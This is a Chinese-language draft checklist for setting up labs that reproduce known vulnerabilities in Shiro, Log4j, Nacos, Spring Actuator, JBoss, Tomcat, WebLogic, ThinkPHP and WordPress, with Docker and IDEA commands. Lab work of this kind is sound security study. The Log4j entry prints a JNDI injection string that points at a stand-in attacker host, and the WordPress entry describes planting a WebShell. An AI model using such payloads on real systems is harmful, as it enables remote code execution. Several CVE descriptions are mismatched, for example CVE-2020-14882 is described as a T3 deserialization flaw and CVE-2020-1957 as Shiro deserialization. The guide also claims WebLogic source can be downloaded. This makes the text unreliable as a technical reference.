漏洞复现清单整理-预备梳理,等待补充
Java漏洞复现清单及环境搭建指南(含IDEA与Docker方法)
1. Shiro反序列化漏洞 (CVE-2016-4437/CVE-2020-1957)
- 漏洞原理
Apache Shiro在1.2.4及以下版本中,默认使用硬编码的AES密钥进行rememberMe
Cookie的加密与解密。攻击者可构造恶意序列化数据,通过rememberMe
字段触发反序列化漏洞,执行任意代码。 - 环境搭建
- IDEA搭建:
- 下载
shiro-root-1.2.4
源码,通过IDEA导入Maven项目。 - 修改
pom.xml
,添加依赖:<dependency><groupId>javax.servlet</groupId><artifactId>jstl</artifactId><version>1.2</version> </dependency> <dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version> </dependency>
- 配置Tomcat服务器,运行项目。
- 下载
- Docker搭建:
若因网络问题无法使用Docker,可使用预配置的Vmware虚拟机镜像,启动后执行以下命令:git clone https://github.com/whgojp/JavaSecLab.git cd JavaSecLab mvn clean package -DskipTests docker-compose -p javaseclab up -d
sudo docker start c27a2ccdc2c7 sudo docker start 31ec50ea1ef8
- IDEA搭建:
2. Log4j远程代码执行 (CVE-2021-44228)
- 漏洞原理
Log4j 2在解析日志消息时,支持通过JNDI查询动态加载资源(如LDAP、RMI)。攻击者构造恶意日志消息(如${jndi:ldap://attacker.com/Exploit}
),触发JNDI注入,导致远程代码执行。 - 环境搭建
- IDEA搭建:
- 创建Spring Boot项目,添加Log4j 2依赖:
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId> </dependency>
- 修改
log4j2.xml
,启用JNDI查询。 - 编写测试代码,记录包含恶意JNDI查询的日志。
- 创建Spring Boot项目,添加Log4j 2依赖:
- Docker搭建:
docker run -p 8080:8080 vulfocus/log4j2-rce-demo
- IDEA搭建:
3. Nacos未授权配置管理漏洞 (CVE-2023-37280)
- 漏洞原理
Nacos在特定版本中,未对配置管理接口进行身份验证,攻击者可直接访问或修改配置,导致敏感信息泄露或恶意配置注入。 - 环境搭建
- IDEA搭建:
- 下载Nacos源码,修改
application.properties
,设置nacos.core.auth.enabled=false
。 - 使用IDEA启动Nacos主程序。
- 下载Nacos源码,修改
- Docker搭建:
docker run -d -p 8848:8848 --name nacos-standalone -e MODE=standalone nacos/nacos-server:2.0.0-ALPHA.1
- IDEA搭建:
4. Spring Boot Actuator未授权访问
- 漏洞原理
Spring Boot Actuator提供了监控与管理端点(如/actuator/env
、/actuator/heapdump
)。若未配置访问权限,攻击者可直接访问敏感信息或执行恶意操作。 - 环境搭建
- IDEA搭建:
- 克隆项目:
git clone https://github.com/callicoder/spring-boot-actuator-demo.git cd spring-boot-actuator-demo
- 修改
application.properties
,暴露所有端点:management.endpoints.web.exposure.include=*
- 使用IDEA启动项目。
- 克隆项目:
- Docker搭建:
docker run -p 8080:8080 callicoder/spring-boot-actuator-demo
- IDEA搭建:
5. Swagger接口泄露漏洞
- 漏洞原理
Swagger UI暴露在公网且未进行访问控制,攻击者可查看API文档并直接调用敏感接口(如用户管理、数据导出等)。 - 环境搭建
- IDEA搭建:
- 创建Spring Boot项目,添加Swagger依赖:
<dependency><groupId>io.springfox</groupId><artifactId>springfox-boot-starter</artifactId><version>3.0.0</version> </dependency>
- 编写配置类,启用Swagger UI。
- 使用IDEA启动项目。
- 创建Spring Boot项目,添加Swagger依赖:
- Docker搭建:
docker run -d -p 8080:8080 swaggerapi/swagger-ui
- IDEA搭建:
6. JBoss反序列化漏洞 (CVE-2017-12149)
- 漏洞原理
JBoss的HttpInvoker组件中的ReadOnlyAccessFilter
过滤器未对输入进行安全检查,导致反序列化漏洞。攻击者可构造恶意序列化数据,触发远程代码执行。 - 环境搭建
- IDEA搭建:
- 下载JBoss源码,修改
web.xml
,启用HttpInvoker服务。 - 使用IDEA启动JBoss主程序。
- 下载JBoss源码,修改
- Docker搭建:
docker run -d -p 8080:8080 -p 9990:9990 jboss/wildfly
- IDEA搭建:
7. Tomcat任意文件写入漏洞 (CVE-2017-12615)
- 漏洞原理
Tomcat在Windows上启用HTTP PUT请求方法时,攻击者可上传恶意JSP文件,执行任意代码。 - 环境搭建
- IDEA搭建:
- 下载Tomcat源码,修改
web.xml
,启用PUT方法。 - 使用IDEA启动Tomcat。
- 下载Tomcat源码,修改
- Docker搭建:
docker run -d -p 8080:8080 vulfocus/tomcat-cve-2017-12615
- IDEA搭建:
8. WebLogic反序列化漏洞 (CVE-2020-14882)
- 漏洞原理
WebLogic的T3协议在处理反序列化数据时存在缺陷,攻击者可构造恶意序列化数据,触发远程代码执行。 - 环境搭建
- IDEA搭建:
- 下载WebLogic源码,修改
config.xml
,启用T3协议。 - 使用IDEA启动WebLogic主程序。
- 下载WebLogic源码,修改
- Docker搭建:
docker run -d -p 7001:7001 store/oracle/weblogic:12.2.1.4
- IDEA搭建:
9. ThinkPHP远程代码执行 (CVE-2018-20062)
- 漏洞原理
ThinkPHP框架在处理路由参数时,未对用户输入进行严格过滤,导致攻击者可构造恶意路由参数,触发远程代码执行。 - 环境搭建
- IDEA搭建:
- 下载ThinkPHP源码,通过IDEA导入项目。
- 修改
config/app.php
,关闭路由安全验证。 - 使用IDEA启动PHP内置服务器。
- Docker搭建:
docker run -d -p 8081:80 vulfocus/thinkphp:6.0.12
- IDEA搭建:
10. WordPress后台修改模板获取WebShell
- 漏洞原理
WordPress后台的模板编辑功能允许管理员直接修改PHP文件。若攻击者获取管理员权限,可通过修改模板文件植入WebShell,执行任意代码。 - 环境搭建
- IDEA搭建:
- 下载WordPress源码,通过IDEA导入项目。
- 修改
wp-config-sample.php
,配置数据库连接信息,并重命名为wp-config.php
。 - 使用IDEA启动PHP内置服务器或配置外部服务器(如Apache/Nginx)。
- Docker搭建:
docker run -d -p 80:80 -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress --link db:mysql wordpress docker run -d --name db -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=wordpress -e MYSQL_USER=wordpress -e MYSQL_PASSWORD=wordpress mysql:5.7
- IDEA搭建:
总结
- 环境搭建:
- IDEA搭建:适合本地调试与代码审计,可深入理解漏洞原理与代码逻辑。
- Docker搭建:适合快速复现漏洞,便于团队共享与自动化测试。
- 在IDEA中使用:
- 启动项目:根据项目类型,运行
main
方法或配置服务器。 - 调试与验证:使用调试工具(如IDEA内置调试器)和测试工具(如Postman、curl)验证漏洞。
- 代码审计:结合漏洞原理,审计关键代码逻辑,理解漏洞触发条件。
- 启动项目:根据项目类型,运行
通过掌握以上环境搭建方法,可高效复现与审计Java应用中的常见漏洞。